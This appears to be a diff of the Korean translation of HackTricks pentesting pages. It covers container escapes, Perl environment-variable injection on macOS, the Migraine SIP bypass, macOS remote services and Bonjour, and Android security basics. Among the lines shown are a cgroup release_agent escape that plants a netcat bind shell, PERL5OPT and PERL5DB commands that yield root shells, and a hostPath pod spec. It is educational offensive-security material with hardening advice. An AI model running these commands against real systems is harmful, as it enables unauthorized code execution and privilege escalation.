|
||||
- **테스트 및 악용 예시**:
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
@ -315,10 +315,10 @@ A similar technique works with **crictl**, **podman** or the **kubelet** API onc
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# assuming the container has CAP_SYS_ADMIN and a vulnerable kernel
|
||||
# 컨테이너가 CAP_SYS_ADMIN을 가지고 있고 취약한 커널을 가정할 때
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # CVE-2022-0492 필요
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # empty-cgroup 이벤트를 트리거합니다.
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `PERL5OPT` 및 `PERL5LIB` 환경 변수를 통한 방법
|
||||
## Via `PERL5OPT` & `PERL5LIB` env variable
|
||||
|
||||
환경 변수 **`PERL5OPT`**를 사용하면 **Perl**이 인터프리터가 시작될 때 임의의 명령을 실행하도록 할 수 있습니다(대상 스크립트의 첫 번째 줄이 구문 분석되기 **전**에). 예를 들어, 이 스크립트를 생성합니다:
|
||||
```perl:test.pl
|
||||
@ -14,7 +14,7 @@ print "Hello from the Perl script!\n";
|
||||
export PERL5OPT='-Mwarnings;system("whoami")'
|
||||
perl test.pl # This will execute "whoami"
|
||||
```
|
||||
또 다른 옵션은 Perl 모듈을 만드는 것입니다 (예: `/tmp/pmod.pm`):
|
||||
또 다른 옵션은 Perl 모듈을 생성하는 것입니다 (예: `/tmp/pmod.pm`):
|
||||
```perl:/tmp/pmod.pm
|
||||
#!/usr/bin/perl
|
||||
package pmod;
|
||||
@ -27,14 +27,14 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
|
||||
```
|
||||
### 다른 흥미로운 환경 변수
|
||||
|
||||
* **`PERL5DB`** – 인터프리터가 **`-d`** (디버거) 플래그로 시작되면, `PERL5DB`의 내용이 디버거 컨텍스트 *내부*에서 Perl 코드로 실행됩니다. 특권 Perl 프로세스의 환경 **및** 명령줄 플래그를 모두 영향을 미칠 수 있다면 다음과 같은 작업을 수행할 수 있습니다:
|
||||
* **`PERL5DB`** – 인터프리터가 **`-d`** (디버거) 플래그로 시작될 때, `PERL5DB`의 내용은 디버거 컨텍스트 *내부*에서 Perl 코드로 실행됩니다. 특권 Perl 프로세스의 환경 **및** 명령줄 플래그를 모두 영향을 미칠 수 있다면 다음과 같은 작업을 수행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
export PERL5DB='system("/bin/zsh")'
|
||||
sudo perl -d /usr/bin/some_admin_script.pl # 스크립트를 실행하기 전에 셸을 드롭합니다
|
||||
```
|
||||
|
||||
* **`PERL5SHELL`** – Windows에서 이 변수는 Perl이 셸을 생성해야 할 때 사용할 셸 실행 파일을 제어합니다. macOS에서는 관련이 없기 때문에 완전성을 위해 여기 언급됩니다.
|
||||
* **`PERL5SHELL`** – Windows에서 이 변수는 Perl이 셸을 생성해야 할 때 사용할 셸 실행 파일을 제어합니다. macOS와는 관련이 없기 때문에 완전성을 위해 여기 언급됩니다.
|
||||
|
||||
`PERL5DB`는 `-d` 스위치를 요구하지만, 이 플래그가 활성화된 상태로 *root*로 실행되는 유지 관리 또는 설치 스크립트를 찾는 것은 일반적이며, 이 변수는 유효한 상승 벡터가 됩니다.
|
||||
|
||||
@ -44,7 +44,7 @@ Perl이 검색할 포함 경로 (**`@INC`**)를 나열하는 것은 다음을
|
||||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
macOS 13/14에서의 일반적인 출력은 다음과 같습니다:
|
||||
macOS 13/14의 일반적인 출력은 다음과 같습니다:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
@ -56,18 +56,18 @@ macOS 13/14에서의 일반적인 출력은 다음과 같습니다:
|
||||
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
|
||||
/System/Library/Perl/Extras/5.30
|
||||
```
|
||||
일부 반환된 폴더는 존재하지 않지만, **`/Library/Perl/5.30`**는 존재하며 SIP에 의해 보호되지 않고 SIP로 보호된 폴더보다 *앞에* 있습니다. 따라서, *root*로 쓸 수 있다면 악성 모듈(예: `File/Basename.pm`)을 드롭할 수 있으며, 이는 해당 모듈을 가져오는 모든 권한 있는 스크립트에 의해 *우선적으로* 로드됩니다.
|
||||
일부 반환된 폴더는 존재하지 않지만, **`/Library/Perl/5.30`**는 존재하며 SIP에 의해 보호되지 않고 SIP 보호 폴더보다 앞에 있습니다. 따라서, *root*로 쓸 수 있다면 악성 모듈(예: `File/Basename.pm`)을 드롭할 수 있으며, 이는 해당 모듈을 가져오는 모든 권한 있는 스크립트에 의해 *우선적으로* 로드됩니다.
|
||||
|
||||
> [!WARNING]
|
||||
> `/Library/Perl` 내부에 쓰기 위해서는 여전히 **root** 권한이 필요하며, macOS는 쓰기 작업을 수행하는 프로세스에 대해 *전체 디스크 접근*을 요청하는 **TCC** 프롬프트를 표시합니다.
|
||||
> `/Library/Perl` 내부에 쓰려면 여전히 **root** 권한이 필요하며, macOS는 쓰기 작업을 수행하는 프로세스에 대해 *전체 디스크 접근*을 요청하는 **TCC** 프롬프트를 표시합니다.
|
||||
|
||||
예를 들어, 스크립트가 **`use File::Basename;`**를 가져오고 있다면, 공격자가 제어하는 코드를 포함하는 `/Library/Perl/5.30/File/Basename.pm`을 생성하는 것이 가능할 것입니다.
|
||||
예를 들어, 스크립트가 **`use File::Basename;`**를 가져오고 있다면, 공격자가 제어하는 코드를 포함하는 `/Library/Perl/5.30/File/Basename.pm`을 생성하는 것이 가능합니다.
|
||||
|
||||
## Migration Assistant를 통한 SIP 우회 (CVE-2023-32369 “Migraine”)
|
||||
|
||||
2023년 5월, Microsoft는 **CVE-2023-32369**를 공개했으며, 이는 **Migraine**이라는 별명을 가진 포스트 익스플로잇 기술로, *root* 공격자가 **시스템 무결성 보호(SIP)**를 완전히 **우회**할 수 있게 해줍니다. 취약한 구성 요소는 **`systemmigrationd`**로, **`com.apple.rootless.install.heritable`** 권한을 가진 데몬입니다. 이 데몬에 의해 생성된 모든 자식 프로세스는 해당 권한을 상속받아 SIP 제한 외부에서 실행됩니다.
|
||||
|
||||
연구자들이 확인한 자식 프로세스 중에는 Apple 서명 인터프리터가 포함되어 있습니다:
|
||||
연구자들이 확인한 자식 중에는 Apple 서명 인터프리터가 있습니다:
|
||||
```
|
||||
/usr/bin/perl /usr/libexec/migrateLocalKDC …
|
||||
```
|
||||
@ -79,15 +79,15 @@ launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
|
||||
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
|
||||
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
|
||||
```
|
||||
`migrateLocalKDC`가 실행되면, `/usr/bin/perl`이 악성 `PERL5OPT`와 함께 시작되고 `/private/tmp/migraine.sh`를 실행합니다 *SIP가 다시 활성화되기 전에*. 그 스크립트에서 예를 들어, **`/System/Library/LaunchDaemons`** 안에 페이로드를 복사하거나 `com.apple.rootless` 확장 속성을 할당하여 파일을 **삭제할 수 없게** 만들 수 있습니다.
|
||||
`migrateLocalKDC`가 실행되면, `/usr/bin/perl`이 악성 `PERL5OPT`와 함께 시작되고 `/private/tmp/migraine.sh`를 실행합니다 *SIP가 다시 활성화되기 전에*. 그 스크립트에서 예를 들어, **`/System/Library/LaunchDaemons`** 내부에 페이로드를 복사하거나 `com.apple.rootless` 확장 속성을 할당하여 파일을 **삭제할 수 없게** 만들 수 있습니다.
|
||||
|
||||
Apple은 macOS **Ventura 13.4**, **Monterey 12.6.6** 및 **Big Sur 11.7.7**에서 이 문제를 수정했지만, 이전 버전이나 패치되지 않은 시스템은 여전히 취약합니다.
|
||||
|
||||
## Hardening recommendations
|
||||
|
||||
1. **위험한 변수 지우기** – 권한이 있는 launchdaemons 또는 cron 작업은 깨끗한 환경에서 시작해야 합니다 (`launchctl unsetenv PERL5OPT`, `env -i` 등).
|
||||
2. **필요하지 않는 한 root로 인터프리터 실행 피하기**. 컴파일된 바이너리를 사용하거나 권한을 조기에 낮추십시오.
|
||||
3. **`-T` (taint mode)로 공급업체 스크립트 사용하기**. 이렇게 하면 Perl이 taint 검사가 활성화될 때 `PERL5OPT` 및 기타 안전하지 않은 스위치를 무시합니다.
|
||||
2. **엄격히 필요하지 않는 한 루트로 인터프리터 실행 피하기**. 컴파일된 바이너리를 사용하거나 권한을 조기에 낮추십시오.
|
||||
3. **`-T` (taint mode)로 공급업체 스크립트 사용하기**. 이렇게 하면 Perl이 taint 체크가 활성화될 때 `PERL5OPT` 및 기타 안전하지 않은 스위치를 무시합니다.
|
||||
4. **macOS를 최신 상태로 유지하기** – “Migraine”은 현재 릴리스에서 완전히 패치되었습니다.
|
||||
|
||||
## References
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## 원격 액세스 서비스
|
||||
|
||||
이들은 원격으로 액세스하기 위한 일반적인 macOS 서비스입니다.\
|
||||
이 서비스는 `시스템 설정` --> `공유`에서 활성화/비활성화할 수 있습니다.
|
||||
이들은 macOS에서 원격으로 액세스하기 위한 일반적인 서비스입니다.\
|
||||
이 서비스는 `System Settings` --> `Sharing`에서 활성화/비활성화할 수 있습니다.
|
||||
|
||||
- **VNC**, "화면 공유"로 알려짐 (tcp:5900)
|
||||
- **VNC**, "화면 공유"로 알려져 있음 (tcp:5900)
|
||||
- **SSH**, "원격 로그인"이라고 불림 (tcp:22)
|
||||
- **Apple Remote Desktop** (ARD), 또는 "원격 관리" (tcp:3283, tcp:5900)
|
||||
- **AppleEvent**, "원격 Apple 이벤트"로 알려짐 (tcp:3031)
|
||||
- **AppleEvent**, "원격 Apple 이벤트"로 알려져 있음 (tcp:3031)
|
||||
|
||||
활성화된 서비스가 있는지 확인하려면 다음을 실행하세요:
|
||||
```bash
|
||||
@ -32,21 +32,21 @@ Apple Remote Desktop (ARD)는 macOS에 맞게 조정된 [Virtual Network Computi
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD는 관찰, 공유 제어 및 전체 제어를 포함한 다양한 제어 수준을 제공하며, 사용자 비밀번호 변경 후에도 세션이 지속됩니다. 관리 사용자를 위해 루트로 직접 유닉스 명령을 전송하고 실행할 수 있습니다. 작업 예약 및 원격 Spotlight 검색은 여러 머신에서 민감한 파일에 대한 원격 저영향 검색을 용이하게 하는 주목할 만한 기능입니다.
|
||||
ARD는 관찰, 공유 제어 및 전체 제어를 포함한 다양한 제어 수준을 제공하며, 사용자 비밀번호 변경 후에도 세션이 지속됩니다. 관리 사용자를 위해 Unix 명령을 직접 전송하고 root로 실행할 수 있습니다. 작업 예약 및 원격 Spotlight 검색은 여러 머신에서 민감한 파일에 대한 원격 저영향 검색을 용이하게 하는 주목할 만한 기능입니다.
|
||||
|
||||
#### 최근 화면 공유 / ARD 취약점 (2023-2025)
|
||||
|
||||
| 연도 | CVE | 구성 요소 | 영향 | 수정됨 |
|
||||
|------|-----|-----------|--------|----------|
|
||||
|2023|CVE-2023-42940|화면 공유|잘못된 세션 렌더링으로 인해 *잘못된* 데스크탑이나 창이 전송되어 민감한 정보가 유출될 수 있음|macOS Sonoma 14.2.1 (2023년 12월) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|원격 로그인 후 체인으로 연결할 수 있는 커널 메모리 보호 우회 (실제로 악용됨)|macOS Ventura 13.6.4 / Sonoma 14.4 (2024년 3월) |
|
||||
|2024|CVE-2024-23296|launchservicesd / login|원격 로그인 후 체인할 수 있는 커널 메모리 보호 우회 (실제로 악용됨)|macOS Ventura 13.6.4 / Sonoma 14.4 (2024년 3월) |
|
||||
|
||||
**하드닝 팁**
|
||||
**강화 팁**
|
||||
|
||||
* 엄격히 필요하지 않을 때는 *화면 공유*/*원격 관리*를 비활성화하십시오.
|
||||
* macOS를 완전히 패치 상태로 유지하십시오 (Apple은 일반적으로 최근 3개의 주요 릴리스에 대한 보안 수정 사항을 배포합니다).
|
||||
* **강력한 비밀번호**를 사용하고 가능한 경우 *“VNC 뷰어가 비밀번호로 화면을 제어할 수 있음”* 옵션을 **비활성화**하십시오.
|
||||
* TCP 5900/3283을 인터넷에 노출시키는 대신 VPN 뒤에 서비스를 배치하십시오.
|
||||
* TCP 5900/3283을 인터넷에 노출하는 대신 VPN 뒤에 서비스를 배치하십시오.
|
||||
* `ARDAgent`를 로컬 서브넷으로 제한하는 애플리케이션 방화벽 규칙을 추가하십시오:
|
||||
|
||||
```bash
|
||||
@ -68,7 +68,7 @@ Bonjour가 제공하는 제로 구성 네트워킹은 장치가 다음을 보장
|
||||
|
||||
Bonjour를 사용하는 장치는 **169.254/16 범위의 IP 주소를 할당**하고 네트워크에서 고유성을 확인합니다. Mac은 이 서브넷에 대한 라우팅 테이블 항목을 유지하며, `netstat -rn | grep 169`를 통해 확인할 수 있습니다.
|
||||
|
||||
DNS의 경우 Bonjour는 **멀티캐스트 DNS(mDNS) 프로토콜**을 사용합니다. mDNS는 **포트 5353/UDP**를 통해 작동하며, **표준 DNS 쿼리**를 사용하지만 **멀티캐스트 주소 224.0.0.251**을 대상으로 합니다. 이 접근 방식은 네트워크의 모든 수신 장치가 쿼리를 수신하고 응답할 수 있도록 하여 기록을 업데이트할 수 있게 합니다.
|
||||
DNS의 경우, Bonjour는 **멀티캐스트 DNS(mDNS) 프로토콜**을 사용합니다. mDNS는 **포트 5353/UDP**를 통해 작동하며, **표준 DNS 쿼리**를 사용하지만 **멀티캐스트 주소 224.0.0.251**을 대상으로 합니다. 이 접근 방식은 네트워크의 모든 수신 장치가 쿼리를 수신하고 응답할 수 있도록 하여 기록을 업데이트하는 데 도움을 줍니다.
|
||||
|
||||
네트워크에 가입할 때 각 장치는 일반적으로 **.local**로 끝나는 이름을 자가 선택하며, 이는 호스트 이름에서 파생되거나 무작위로 생성될 수 있습니다.
|
||||
|
||||
@ -90,15 +90,15 @@ HTTP 서비스를 광고하려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
이 명령은 포트 80에서 `/index.html` 경로를 가진 "Index"라는 HTTP 서비스를 등록합니다.
|
||||
이 명령은 포트 80에서 `/index.html` 경로를 가진 "Index"라는 이름의 HTTP 서비스를 등록합니다.
|
||||
|
||||
그런 다음 네트워크에서 HTTP 서비스를 검색하려면:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
서비스가 시작되면, 서브넷의 모든 장치에 멀티캐스트를 통해 자신의 가용성을 알립니다. 이러한 서비스에 관심이 있는 장치는 요청을 보낼 필요 없이 이러한 발표를 듣기만 하면 됩니다.
|
||||
서비스가 시작되면, 서브넷의 모든 장치에 자신의 가용성을 멀티캐스트하여 알립니다. 이러한 서비스에 관심이 있는 장치는 요청을 보낼 필요 없이 이러한 알림을 듣기만 하면 됩니다.
|
||||
|
||||
보다 사용자 친화적인 인터페이스를 위해, Apple App Store에서 제공하는 **Discovery - DNS-SD Browser** 앱은 로컬 네트워크에서 제공되는 서비스를 시각화할 수 있습니다.
|
||||
보다 사용자 친화적인 인터페이스를 위해, Apple App Store에서 제공되는 **Discovery - DNS-SD Browser** 앱은 로컬 네트워크에서 제공되는 서비스를 시각화할 수 있습니다.
|
||||
|
||||
또는, `python-zeroconf` 라이브러리를 사용하여 서비스를 탐색하고 발견하는 사용자 정의 스크립트를 작성할 수 있습니다. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) 스크립트는 `_http._tcp.local.` 서비스에 대한 서비스 브라우저를 생성하고 추가되거나 제거된 서비스를 출력하는 방법을 보여줍니다:
|
||||
```python
|
||||
@ -140,7 +140,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
|
||||
이 명령은 로컬 링크 외부에서 Bonjour를 통해 SSH를 노출하는 호스트를 반환합니다.
|
||||
|
||||
### 보안 고려사항 및 최근 취약점 (2024-2025)
|
||||
### 보안 고려 사항 및 최근 취약점 (2024-2025)
|
||||
|
||||
| 연도 | CVE | 심각도 | 문제 | 패치된 버전 |
|
||||
|------|-----|----------|-------|------------|
|
||||
@ -156,7 +156,7 @@ python3 mdns_recon.py -r 192.0.2.0/24 -s _ssh._tcp.local
|
||||
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
```
|
||||
3. Bonjour가 내부적으로 필요하지만 네트워크 경계를 넘지 않아야 하는 환경에서는 *AirPlay Receiver* 프로필 제한(MDM) 또는 mDNS 프록시를 사용합니다.
|
||||
4. **시스템 무결성 보호(SIP)**를 활성화하고 macOS를 최신 상태로 유지합니다 – 위의 두 취약점은 신속하게 패치되었지만 완전한 보호를 위해 SIP가 활성화되어 있어야 했습니다.
|
||||
4. **시스템 무결성 보호(SIP)**를 활성화하고 macOS를 최신 상태로 유지합니다 – 위의 두 취약점은 신속하게 패치되었지만 전체 보호를 위해 SIP가 활성화되어 있어야 했습니다.
|
||||
|
||||
### Bonjour 비활성화
|
||||
|
||||
|
@ -4,44 +4,44 @@
|
||||
|
||||
## Android Security Model
|
||||
|
||||
**두 개의 계층이 있습니다:**
|
||||
**두 개의 레이어가 있습니다:**
|
||||
|
||||
- **OS**는 설치된 애플리케이션을 서로 격리합니다.
|
||||
- **애플리케이션 자체**는 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있게 합니다.
|
||||
- **OS**, 설치된 애플리케이션을 서로 격리합니다.
|
||||
- **애플리케이션 자체**, 개발자가 **특정 기능을 노출**하고 애플리케이션 기능을 구성할 수 있게 합니다.
|
||||
|
||||
### UID Separation
|
||||
|
||||
**각 애플리케이션은 특정 사용자 ID가 할당됩니다**. 이는 앱 설치 중에 이루어지며, **앱은 자신의 사용자 ID가 소유한 파일이나 공유 파일과만 상호작용할 수 있습니다**. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터를 접근할 수 있습니다.
|
||||
**각 애플리케이션은 특정 사용자 ID가 할당됩니다**. 이는 앱 설치 중에 이루어지며, **앱은 자신의 사용자 ID가 소유한 파일이나 공유된 파일과만 상호작용할 수 있습니다**. 따라서 앱 자체, OS의 특정 구성 요소 및 루트 사용자만 앱 데이터를 접근할 수 있습니다.
|
||||
|
||||
### UID Sharing
|
||||
|
||||
**두 개의 애플리케이션은 동일한 UID를 사용하도록 구성될 수 있습니다**. 이는 정보를 공유하는 데 유용할 수 있지만, 그 중 하나가 손상되면 두 애플리케이션의 데이터가 모두 손상될 수 있습니다. 그래서 이러한 행동은 **권장되지 않습니다**.\
|
||||
**동일한 UID를 공유하려면 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의해야 합니다.**
|
||||
**두 개의 애플리케이션이 동일한 UID를 사용하도록 구성될 수 있습니다**. 이는 정보를 공유하는 데 유용할 수 있지만, 그 중 하나가 손상되면 두 애플리케이션의 데이터가 모두 손상될 수 있습니다. 그래서 이러한 행동은 **권장되지 않습니다**.\
|
||||
**동일한 UID를 공유하려면, 애플리케이션은 매니페스트에서 동일한 `android:sharedUserId` 값을 정의해야 합니다.**
|
||||
|
||||
### Sandboxing
|
||||
|
||||
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행**할 수 있게 합니다. 각 프로세스는 자신의 가상 머신을 가지고 있어, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\
|
||||
Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그들 간의 **예상되는 상호작용만 허용하는 정책을 생성합니다**.
|
||||
**Android 애플리케이션 샌드박스**는 **각 애플리케이션을 별도의 사용자 ID로 별도의 프로세스로 실행할 수 있게 합니다**. 각 프로세스는 자체 가상 머신을 가지고 있어, 앱의 코드는 다른 앱과 격리되어 실행됩니다.\
|
||||
Android 5.0(L)부터 **SELinux**가 적용됩니다. 기본적으로 SELinux는 모든 프로세스 상호작용을 거부하고, 그들 간의 **예상되는 상호작용만 허용하는 정책을 생성합니다**.
|
||||
|
||||
### Permissions
|
||||
|
||||
애플리케이션을 설치할 때 **앱이 권한을 요청하면**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성 내에서 요청된 권한의 이름을 나타냅니다.** 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중단합니다.\
|
||||
애플리케이션을 설치할 때 **권한을 요청하는 경우**, 앱은 **AndroidManifest.xml** 파일의 **`uses-permission`** 요소에 구성된 권한을 요청하는 것입니다. **uses-permission** 요소는 **name** **속성 내에서 요청된 권한의 이름을 나타냅니다.** 또한 **maxSdkVersion** 속성이 있어, 지정된 버전보다 높은 버전에서는 권한 요청을 중단합니다.\
|
||||
안드로이드 애플리케이션은 처음에 모든 권한을 요청할 필요는 없으며, **동적으로 권한을 요청할 수 있지만 모든 권한은 매니페스트에 **명시되어야 합니다.**
|
||||
|
||||
앱이 기능을 노출할 때, **지정된 권한을 가진 앱만 접근할 수 있도록 제한할 수 있습니다**.\
|
||||
권한 요소는 세 가지 속성을 가집니다:
|
||||
|
||||
- 권한의 **이름**
|
||||
- 관련 권한을 그룹화할 수 있는 **permission-group** 속성.
|
||||
- 관련 권한을 그룹화할 수 있는 **permission-group** 속성
|
||||
- 권한이 부여되는 방식을 나타내는 **protection-level**. 네 가지 유형이 있습니다:
|
||||
- **Normal**: 앱에 **알려진 위협이 없을 때** 사용됩니다. 사용자가 **승인할 필요가 없습니다**.
|
||||
- **Dangerous**: 요청하는 애플리케이션에 **상승된 접근**을 부여하는 권한을 나타냅니다. **사용자에게 승인을 요청합니다**.
|
||||
- **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만** 권한을 부여받을 수 있습니다. 이는 가장 강력한 보호 유형입니다.
|
||||
- **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나 **시스템 수준 접근으로 실행되는 앱만** 권한을 부여받을 수 있습니다.
|
||||
- **Signature**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱만 권한을 부여받을 수 있습니다**. 이는 가장 강력한 보호 유형입니다.
|
||||
- **SignatureOrSystem**: **구성 요소를 내보내는 것과 동일한 인증서로 서명된 앱이나 **시스템 수준 접근으로 실행되는 앱만 권한을 부여받을 수 있습니다**.
|
||||
|
||||
## Pre-Installed Applications
|
||||
|
||||
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화**되어 있습니다 (심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다 (루트로).
|
||||
이 앱들은 일반적으로 **`/system/app`** 또는 **`/system/priv-app`** 디렉토리에서 발견되며, 일부는 **최적화되어 있습니다** (심지어 `classes.dex` 파일을 찾지 못할 수도 있습니다). 이러한 애플리케이션은 때때로 **너무 많은 권한으로 실행되고 있기 때문에** 확인할 가치가 있습니다 (루트로).
|
||||
|
||||
- **AOSP** (Android OpenSource Project) **ROM**과 함께 제공되는 것들
|
||||
- 장치 **제조업체**에 의해 추가된 것들
|
||||
@ -49,10 +49,10 @@ Android 5.0(L)부터 **SELinux**가 시행됩니다. 기본적으로 SELinux는
|
||||
|
||||
## Rooting
|
||||
|
||||
물리적 안드로이드 장치에서 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 **악용해야 합니다**, 이는 **장치**와 **버전**에 **특정**입니다.\
|
||||
물리적 안드로이드 장치에 루트 접근을 얻으려면 일반적으로 **1개 또는 2개의 취약점을 **악용해야 합니다**. 이는 **장치** 및 **버전**에 **특정**입니다.\
|
||||
익스플로잇이 성공하면, 일반적으로 리눅스 `su` 바이너리가 사용자의 PATH 환경 변수에 지정된 위치인 `/system/xbin`에 복사됩니다.
|
||||
|
||||
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser**와 **SuperSU** (Google Play 스토어에서 사용 가능)와 같은 앱이 있습니다.
|
||||
su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리와 인터페이스하여 **루트 접근 요청을 처리**합니다. 예를 들어 **Superuser** 및 **SuperSU** (Google Play 스토어에서 사용 가능)와 같은 앱이 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 루팅 과정은 매우 위험하며 장치를 심각하게 손상시킬 수 있습니다.
|
||||
@ -60,7 +60,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||
### ROMs
|
||||
|
||||
**커스텀 펌웨어를 설치하여 OS를 교체하는 것이 가능합니다**. 이를 통해 오래된 장치의 유용성을 확장하거나 소프트웨어 제한을 우회하거나 최신 안드로이드 코드에 접근할 수 있습니다.\
|
||||
**OmniROM**과 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
|
||||
**OmniROM** 및 **LineageOS**는 사용하기에 가장 인기 있는 두 가지 펌웨어입니다.
|
||||
|
||||
**커스텀 펌웨어를 설치하기 위해 장치를 루팅할 필요는 항상 없습니다**. **일부 제조업체는** 잘 문서화되고 안전한 방식으로 부트로더 잠금을 해제하는 것을 허용합니다.
|
||||
|
||||
@ -93,13 +93,13 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
안드로이드 개발에서는 **Java 또는 Kotlin**을 사용하여 앱을 생성합니다. 데스크톱 앱처럼 JVM을 사용하는 대신, 안드로이드는 이 코드를 **Dalvik Executable (DEX) 바이트코드**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 이제는 최신 안드로이드 버전에서 Android Runtime (ART)가 이를 처리합니다.
|
||||
안드로이드 개발에서는 **Java 또는 Kotlin**을 사용하여 앱을 생성합니다. 데스크탑 앱처럼 JVM을 사용하는 대신, 안드로이드는 이 코드를 **Dalvik Executable (DEX) 바이트코드**로 컴파일합니다. 이전에는 Dalvik 가상 머신이 이 바이트코드를 처리했지만, 이제는 최신 안드로이드 버전에서 Android Runtime (ART)가 이를 처리합니다.
|
||||
|
||||
리버스 엔지니어링을 위해 **Smali**가 중요해집니다. 이는 DEX 바이트코드의 사람이 읽을 수 있는 버전으로, 소스 코드를 바이트코드 명령어로 변환하는 어셈블리 언어처럼 작용합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 역어셈블리 도구를 나타냅니다.
|
||||
리버스 엔지니어링을 위해 **Smali**가 중요해집니다. 이는 DEX 바이트코드의 사람이 읽을 수 있는 버전으로, 소스 코드를 바이트코드 명령으로 변환하는 어셈블리 언어처럼 작용합니다. Smali와 baksmali는 이 맥락에서 어셈블리 및 역어셈블리 도구를 나타냅니다.
|
||||
|
||||
## Intents
|
||||
|
||||
인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
||||
인텐트는 안드로이드 앱이 구성 요소 간 또는 다른 앱과 통신하는 주요 수단입니다. 이러한 메시지 객체는 앱 간 또는 구성 요소 간에 데이터를 전달할 수도 있으며, HTTP 통신에서 GET/POST 요청이 사용되는 방식과 유사합니다.
|
||||
|
||||
따라서 인텐트는 기본적으로 **구성 요소 간에 전달되는 메시지**입니다. 인텐트는 **특정 구성 요소나 앱으로 지향될 수 있으며**, **특정 수신자 없이 전송될 수도 있습니다**.\
|
||||
간단히 말해 인텐트는 다음과 같이 사용될 수 있습니다:
|
||||
@ -132,7 +132,7 @@ su 바이너리가 구성되면, 다른 안드로이드 앱이 `su` 바이너리
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
